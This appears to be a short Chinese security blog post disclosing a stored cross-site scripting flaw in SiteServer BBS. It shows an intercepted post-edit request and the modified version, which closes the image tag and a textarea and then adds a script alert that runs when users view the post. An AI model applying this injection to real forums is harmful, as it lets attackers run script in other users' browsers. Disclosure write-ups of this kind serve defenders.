SiteServer BBS 通杀储存型跨站 – 网站安全

通杀所有版本先随便发布或回复一个帖子内容要上传一张图片发布成功后编辑内容并抓包下面是抓包的内容得到图片路径 forumID=14&threadID=271&postID=373&postType=&fileCount=0&title=Re%3A%E6%B5%8B%E8%AF%95%E5%B8%96&content=111111111112222222222%3Cimg+src%3D%22%2FBBS%2Fupload%2F2013%2F12%2Ft_27164555796.jpg 修改数据包在图片地址后面加入攻击代码 forumID=14&threadID=271&postID=373&postType=&fileCount=0&title=Re%3A%E6%B5%8B%E8%AF%95%E5%B8%96&content=111111111112222222222%3Cimg+src%3D%22%2FBBS%2Fupload%2F2013%2F12%2Ft_27164555796.jpg"></textarea><script>alert(/xss/)</script> 再次提交用户访问帖子时即可触发~

SiteServer BBS 通杀储存型跨站 – 网站安全 – 自学p插图

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了，原文地址《SiteServer BBS 通杀储存型跨站 – 网站安全 – 自学p》